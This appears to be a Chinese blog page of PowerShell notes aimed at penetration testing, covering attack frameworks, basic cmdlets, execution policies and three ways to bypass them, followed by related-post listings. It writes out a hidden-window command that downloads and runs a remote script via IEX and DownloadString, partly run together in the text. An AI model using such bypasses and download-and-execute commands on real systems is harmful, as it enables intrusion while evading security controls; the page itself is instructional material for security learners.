PowerShell基础

powershell基础使用笔记 powershell 基础使用笔记 powershell 基础使用笔记 学习命令行的必要性 powershell 美化 命令行速成课笔记 win 下 PowerShell 必知必会的命令 目录操作 文件操作 搜索 帮助 Sessions 结语 学习命令行的必要性 要想真正学习编程,那么必须要懂得基本的命令行操作。命令行界面也即 command line interface(CLI)... 阅读详情

PowerShell攻击工具有以下几种:
1.PowerSploit
2.NiShang
3.Empire
4.PowerCat
PowerShell简介:
攻击者在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它可以直接在内存中运行,也可以把PowerShell看作命令行提示符cmd.exe的扩充,PowerShell需要.NET环境的支持
PowerShell优点:
1.windows7以上的操作系统默认安装
2.PowerShell脚本可以运行在内存中,不需要写入磁盘
3.可以从另一个系统中下载PowerShell脚本并执行
4.目前很多工具都是基于PowerShell开发的
5.很多安全软件并不能检测到PowerShell的活动
6.cmd.exe通常会被阻止运行,但是PowerShell不会
7.可以用来管理活动目录
查看PowerShell版本
命令:Get-Host
在这里插入图片描述
PowerShell基本概念:
1.PS1
一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名
2.执行策略
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限。
在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
1.Get-ExecutionPolicy
2.Restricted:脚本不能运行(默认设置)
3.RemoteSigned:本地创建的脚本可以执行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
4.AllSigned:仅当脚本由受信任的发布者签名时才能运行
5.Unrestricted:允许所有的script运行
也可以使用如下cmdlet命令设置PowerShell的执行策略:
Set-ExecutionPolicy
3.运行脚本
运行一个PowerShell脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1脚本,可以键入C:\Scripts\a.ps1。最大的例外是,如果PowerShell脚本文件刚好位于你的系统目录中,那么在命令提示符后直接键入文件名即可运行,如.\a.ps1的前面加入“.\”,这和在Linux下执行shell脚本的方法一样。
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
举一个例子来看下管道是如何工作的,假设停止所有目前运行中的,以“p”字符开头命名的程序,命令如下所示。
Get-process p* | stop-process
PowerShell基本知识:
新建目录:New-Item whitecellclub-ItemType Directory
新建文件:New-Item light.txt-ItemType File
删除目录:Remove-Item whitecellclub
显示文件内容:Get-Content test.txt
设置文本内容:Set-Content.txt-Value”hell,world!”
追加内容:Add-Content light.txt-Value”i love you”
清除内容:Clear-Content test.txt
PowerShell脚本程序运行:
条件:1.管理员权限
2.将Restricted策略改成Unrestricted
绕过策略执行脚本的方法:
1.绕过本地权限执行
命令:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
要求:创建一个test.ps1脚本文件并运行
不绕过情况下演示:
在这里插入图片描述
绕过情况下演示:
在这里插入图片描述
这里特别注意路径,为了方便之后的演示我将此目录下移入一个powershell.exe,因此再次演示:
在这里插入图片描述
同样成功

2.本地隐藏绕过权限执行脚本
命令:PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
要求:创建一个test1.ps1脚本文件并运行
绕过情况下演示:
在这里插入图片描述
3.用IEX下载远程PSI脚本绕过权限执行
命令:PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-Obje
ctNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]

以上命令的参数说明:
ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden : 隐藏窗口
NoLogo : 启动不显示版权标志的PowerShell
NonInteractive (-Nonl) : 非交互模式,PowerShell不为用户提供交互的提示
NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

PowerShell脚本编程基础指南 PowerShell是微软开发的跨平台任务自动化框架,结合了命令行shell和脚本语言功能。本教程基于PowerShell 7.x,涵盖从基础到高级的完整知识体系:首先介绍安装方法和基本命令(Cmdlet)的使用;然后讲解变量类型、流程控制等语法基础;进阶部分包括函数编写、模块使用和远程管理等高级特性;最后提供了系统信息收集、批量文件处理等实用示例。教程采用规范的动词-名词命令结构,强调面向对象特性和强大的管道功能,适用于Windows、Linux和macOS平台。通过 阅读详情

相关推荐

Windows powershell 基础

1. 变量 (1)定义变量: 变量可以临时的保存数据,以便进行进一步的操作。 在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)。 PS C:\Users\Lenovo> $a=123 PS C:\Users\Lenovo> $a 123 PS C:\Us...

橘子女侠 856

实训周知识点

1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 --exclude 192....

m0_67784493的博客 240

PowerShell学习笔记(1)-基础

PowerShell学习笔记(1):基础  前段时间在知乎上得知Windows下的一款强大的命令行工具PowerShell(原谅我刚刚得知)。 其强大的功能,令人惊叹,兴趣盎然,这么优秀的工具值得我去学习、了解, 虽然我并不是程序猿。我的测试练习环境:win7 PowerShell v1.0基础内容命令的概念与术语  基本命令形式如下: command -parameter1 -parameter

corfox_liu的专栏 2091

PowerShell说“此系统上的脚本执行被禁用。”

我正在尝试运行一个从cmd.exe调用powershell脚本的cmd文件,并且出现以下错误: 无法加载Management_Install.ps1因为在此系统上禁用了脚本的执行。

p15097962069的博客 5694

内网-powershell 基础

powershell 基础 目录 powershell 基础 Powershell的特点: Powershell的基本概念 Powershell 的常用命令 (1) 绕过本地权限并执行 (2) 从网站服务器中下载脚本,绕过本地权限并隐藏执行 (3)使用Base64 对powershell 命令进行编码 powershell 是一种命令行外壳程序和脚本环境,它内置在每个受支持的...

战神/calmness的博客 722

powershell 基础

Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。powershell程序可以直接在内存中运行,可以作为命令提示符cmd.exe的扩充。 查看powershell版本信息 Get-Host 或者 $PSVersionTable.PSVersion 基...

weixin_41082546的博客 238

powershell预备知识

powershell预备知识

weixin_48776804的博客 2460

保姆级教程:用MediaPipe和BlazePose在Python里实时追踪你的健身动作(附完整代码)

本文提供了一份详细的Python教程,教你如何使用MediaPipe和BlazePose实现实时健身动作追踪。从环境配置、模型选型到实时视频流处理架构设计,再到健身动作量化分析和可视化反馈系统优化,教程涵盖了完整的实现步骤和代码示例,帮助开发者快速构建高效的姿态特征点检测系统。

weixin_42531779的博客 148

POWERSHELL脚本执行权限

1.PowerShell脚本四种执行权限 Restricted——默认的设置, 不允许任何script运行 AllSigned——只能运行经过数字证书签名的script RemoteSigned——运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名 Unrestricted——允许所有的script运行 2.查看当前的权限 Get-Executi

tomcat的专栏 1万+

Arduino DHT11 ESP8266 在OneNet云平台上读取 温湿度

#include "ESP8266.h" #include "dht11.h" #include "SoftwareSerial.h" #define SSID "540ND" #define PASSWORD "" #define HOST_NAME "api.heclouds.com" #define DEVICE_ID "" #define HOST_PORT (80) String APIKey = " "; #define INTER

weixin_45852947的博客 2428

5分钟搞懂语义通信:如何用深度学习让AI理解你的真实意图?

本文深入解析了语义通信如何利用深度学习技术,实现从传统‘比特保真’到‘语义保真’的范式转移。通过介绍基于神经网络的端到端系统架构、编解码技术及实战案例,阐明AI如何理解并高效传递信息核心意图,为6G时代的人机交互奠定基础。

weixin_29191669的博客 256

powershell执行策略不受限制

在这里分享下一个音乐软件《LyricEase》,一款不错的音乐软件,当然不是免费的,至于原因可以自己动手查一下,因为需要安装这款,所以需要修改下powershell的执行策略(****,本来是可以不需要这么麻烦的,微软商店就可以安装,但是下架了,就只能自己手动了,偷懒的快乐没有了,嘤嘤嘤/(ㄒoㄒ)/~~))(ps:上述可知powershell是可以自己配置执行策略的,但是有时候会发现有的命令执行不了,咋办,修改一下,自己动手,前提是要知道自己需要执行的是什么策略。执行策略会影响当前计算机上所有用户。

Jk200165的博客 2551

RWEQ土壤风蚀模型的估算与变化归因分析

本次以介绍RWEQ模型的基本原理及数据需求,再结合案例讲解RWEQ模型中区域地理空间数据库构建的方法和各个参量提取的原理与方法,最后结合典型案例进行综合讲解风蚀模数估算、制图及归因分析。空间分析与制图:提取分析、局部分析、邻域分析、区域分析、插值分析、平滑处理、像元提取、采样与重采样。以某实际应用为案例,掌握RWEQ模型进行当地土壤风蚀量空间分布分析整体流程。地图服务器、在线地图、范围指示器、格网、表格、基础地图服务使用规则介绍。掌握土壤风蚀模型的原理、优势点及因子组成。

2301_77413856的博客 1189

Powershell基础

Powershell基础powershell介绍powershell打开方式powershell ISEpowershell的输入与输出powershell变量、常量与数组变量常量环境变量数组 powershell介绍 Windows Powershell是一种命令行外壳程序和脚本环境,是命令行用户和脚本编写者可以利用.NET Framework的强大功能 powershell是一个shell,定义好了一些命令操作系统,特别是与文件系统交互,能够启动应用程序甚至操纵应用程序。 powers能够使用star

Love_Naive的博客 1293

[Python] 如何使用 Python 调用 Dify 工作流服务实现自动化翻译

本文介绍了如何使用Python调用Dify的API实现文本翻译自动化。Dify作为AI开发平台,其工作流功能可执行文本处理、翻译等任务。选择Python调用Dify的优势在于职责划分清晰:Dify专注AI服务,Python处理文件操作等非AI任务。

技术小甜甜:传播可落地技术,帮助个人和企业降低解决真实场景问题的成本 1091

5G射频设计中N77&N79的PRX为什么需要3个SRS

首先,我们来逐个拆解一下这个神秘的“

weixin_43199439的博客 1317

PowerShell基础命令篇

PowerShell拥有能够访问整个.Net Framework底层的能力(虽然在非Windows操作系统中,只是整个Framework的子集),我们也看到PowerShell“脚本”实际上与通过Visual Studio编写的C#语言使用模式也十分类似。注册表以类似文件系统的结构呈现,其中注册表的键等同于文件系统中的文件夹,对应的键值类似于文件系统中的文件,等等。以这种方式产生的命令,总会是命令的完整形式。完整的命令名称,完整的参数名称,所有的参数名称都显式输入(即不会出现位置参数)。

weixin_49668551的博客 6277

YOLO11-Seg优化:注意力魔改 | 具有切片操作的SimAM注意力,魔改SimAM

问题点:SimAM计算整张特征图的像素差平均值时加权可能会忽略小目标的重要性,同时与整体平均值相比可能和背景信息相似,导致加权增强较弱;

会AI的学姐 448

powershell基础

远程执行命令:通过 Invoke-Command 命令在远程计算机上执行命令或脚本块,如 Invoke-Command -ComputerName "Server01" -ScriptBlock { Get-Process }。- 进程管理: Get-Process 可获取当前系统中的进程列表, Stop-Process 用于停止指定的进程, Start-Process 可以启动一个新的进程。- 变量定义:使用 $ 符号定义变量,如 $name = "John"。

m0_57836225的博客 710

ubuntu20.04屏幕亮度无法调节(亮度条调节无效)的简单靠谱解决方案及踩坑历程

0 前言   网上关于ubuntu系统亮度无法调节的问题的解决方法有很多,但是绝大部分并没有什么用(这也是我自己的亲身体会),或者并不靠谱。在遍尝各路方法过后,我终于解决了这一棘手的问题(毕竟最大亮度真的非常刺眼,无法长时间直视),在此记录一下踩坑历程以及最后的解决方案。 1 Naive方法   由于使用需要,最近在电脑原有的win10基础上安装了ubuntu双系统。我安装的是当前新版的ubuntu20.04.2.0,靠谱的安装教程可以参考这里。   之前师兄说双ssd安装双系统会有系统启动引导的问题出现,

zeeq的博客 4万+

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Powershell语言的计算机基础

PowerShell是微软开发的一种任务自动化框架,包含一个命令行外壳和一个与.NET框架集成的脚本语言。它最初于2006年作为Windows PowerShell发布,旨在简化系统管理任务,并提供一种统一的管理模型。用户可以通过创建.psm1文件来封装自定义cmdlet和函数,随后通过命令加载模块。

2501_90494521的博客 403

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

powershell脚本编写_04.PowerShell 基础

4.1 PowerShell 简介Windows PowerShell 是一种命令行外壳程序和脚本环境。它内置在每个受支持的Windows版本中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。一旦攻击者可以在一台计算机上运行代码,他们就会下载PowerShell脚本文件(.psl)到磁盘中执行,甚至无须写到磁盘中执行,它可以直接在内存中运行,也可以把PowerS...

weixin_39604139的博客 2865

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

c++ 调用 powershell_十九,Powershell基础入门及常见用法(一)

一.Powershell初识1.基础概念Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。传统的CMD支持脚本编写,但扩展性不好,而Powershell类...

weixin_42395980的博客 6523

windows powershell基础

windows powershell基础 目录: 1.管道和重定向 2.命令执行 3.变量 4.数组和哈希表  #@()创建数组,使用","把每个值分隔开,@{}创建哈希表,用";"把每个值分隔开 5.常用命令  get-help 查看帮助  get-command 查询命令  get-member 查看对象的成员信息  get-verb 获取所有动词  ge...

WY92139010的博客 269

Powershell基础之脚本执行

阅读目录(Content) Powershell powershell 的脚本调用方法: Bat 这就是我们常用的 Bat 脚本,全名为批处理文件,脚本中就是我们在 CMD 中使用到的命令,这里提一个小问题:CMD 的命令行执行命令的优先级是.bat > .exe,那么假如我放一个 cmd.bat 在 system32 目录下,那么优先执行的是 cmd.bat,这里面的内容就变得不可描述起来了 VBscript 执行 vbs 就是常说的 vbscript,是微软为了方便自动化管理 win.

jklbnm12的博客 9873
上一篇: 隐藏通信隧道技术之icmpsh反弹shell(网络层ICMP隧道)
下一篇: PowerSploit脚本攻击实战
qieziwa(boy)
博客等级 码龄7年 5704粉丝 160原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值